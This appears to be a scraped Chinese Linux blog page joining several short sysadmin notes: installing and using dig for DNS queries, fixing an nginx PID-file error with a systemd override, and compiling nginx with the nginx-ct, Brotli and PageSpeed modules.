相比基于GUI的torrent或下载管理器,命令行工具来得更高效而快速。这些工具在无外设服务器中扮演重要角色,可以控制慢速互联网连接中的带宽使用。
请尽情享用!
原文链接:http://www.unixmen.com/top-10-command-line-tools-downloading-linux/
linux使用问题处理小计(勿入) Linux
在ubuntu10.10下没有dig命令,而debian6下面有这个命令
ubuntu下想要apt-get安装,发现没有找到dig软件包
搜索后才发现正确安装是安装dnsutils
apt-get install dnsutils
PS:redhat系列这样安装
yum install bind-utils
看看dig命令大多时候如何可以取代nslookup的:
www@www:~# dig www.google.com
; <<>> DiG 9.9.5-9+deb8u14-Debian <<>> www.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19569
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.google.com. IN A;; ANSWER SECTION:
www.google.com. 164 IN A 216.58.194.196;; Query time: 1 msec
;; SERVER: 108.61.10.10#53(108.61.10.10)
;; WHEN: Thu Oct 05 17:21:52 CST 2017
;; MSG SIZE rcvd: 59
只输出mx记录,简明使用
dig mx www.google.com +short
只输出NS记录
dig ns www.google.com
查询SOA( Start of Autority ) 返回主DNS服务器
dig soa www.google.com
指定dns,例如查询8.8.8.8中的www.google.com记录
dig +short @8.8.8.8 www.google.com
大部分的时候dig最下面显示了查询所用的时间及DNS服务器,时间,数据大小。DNS超时时间为30秒,查询时间对于排查DNS问题很有用。
;; Query time: 1 msec
;; SERVER: 108.61.10.10#53(108.61.10.10)
;; WHEN: Thu Oct 05 17:21:52 CST 2017
;; MSG SIZE rcvd: 59
nginx提示Failed to read PID from file /run/nginx.pid:
在centos7上,配置nginx代理服务后:
systemctl status nginx.service
提示错误:
Failed to read PID from file /run/nginx.pid: Invalid argument
看到好多说删掉改nginx.pid 文件的,试之,无效。
后来找到了一个方法:
mkdir -p /etc/systemd/system/nginx.service.d
printf "[Service]\nExecStartPost=/bin/sleep 0.1\n" > /etc/systemd/system/nginx.service.d/override.conf
然后:
systemctl daemon-reload
systemctl restart nginx.service
解决了问题。
为nginx添加这些额外的第三方扩展加速你的web吧 Linux
Nginx 是一款高性能 Web 服务器软件,其有非常有益的IO表现,而且相较于 Apache Httpd 配置更加简单上手更加容易,本文将向大家介绍编译安装 Nginx 的第三方扩展。
Nginx 的额外扩展:
- OpenSSL 1.1.0,提供 ALPN 支持,支持 HTTP/2
- Nginx-CT,透明证书提高 HTTPS 网站的安全性和浏览器支持
- ngx_PageSpeed,Google 家的网站性能优化工具
- Brotli,实现比 Gzip 更高的压缩率
- Jemalloc,优化内存管理
第一个openssl和最后一个jemalloc现在大多数的一件安装包都有包括,不做描述.需要的请自行Google搜索相关教程.今天主要说一下Nginx-CT,ngx_PageSpeed,Brotli这三个扩展的安装.(建议把第三方扩展都放在一个文件夹下面方便管理)
下载需要的源码包:
wget https://github.com/grahamedgecombe/nginx-ct/archive/v1.3.2.tar.gz
tar xzf v1.3.2.tar.gz
git clone https://github.com/google/ngx_brotli.git
cd ngx_brotli
git submodule update --initwget https://github.com/pagespeed/ngx_pagespeed/archive/v1.12.34.3-stable.zip
unzip v1.12.34.3-stable.zip
cd ngx_pagespeed-1.12.34.3-stable/
wget https://dl.google.com/dl/page-speed/psol/1.12.34.2-x64.tar.gz
tar -xzvf 1.12.34.2-x64.tar.gz
接下来就是编译了,这是在已经安装好nginx的环境增加扩展,所有只需要make 不需要make install ,不然就覆盖安装了...
linux下错误提示很人性化的,多看提示,更具提示操作,基本上都可以解决问题.
重要步骤:
通过命令 nginx -V 查看nginx的配置及其已有的扩展.我们只需要在后面增加模块即可:
比如使用nginx -V命令查看结果类似于下面:
--prefix=/usr/local/nginx --with-http_stub_status_module
我们只需要在原有的基础上添加我们的模块即可:
./configure --prefix=/usr/local/nginx --with-http_stub_status_module --add-module=/data/software/nginx-ct-1.3.2 --add-module=/data/software/ngx_brotli --add-module=/data/software/ngx_pagespeed-1.12.34.3-stable
等它自动配置完成后,直接 make 一下就行.
然后备份原有已安装好的nginx:
cp /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx.bak
service nginx stop
然后将刚刚编译好的nginx覆盖掉原有的nginx(这个时候nginx要停止状态,通过上面的命令,已经停止了):
cp ./objs/nginx /usr/local/nginx/sbin/
然后启动nginx (service nginx start),就可以通过命令nginx -V 查看第三方扩展是否已经加入成功.
PS:笔记+分享,好的扩展,开源产品大家都应该去体验一下!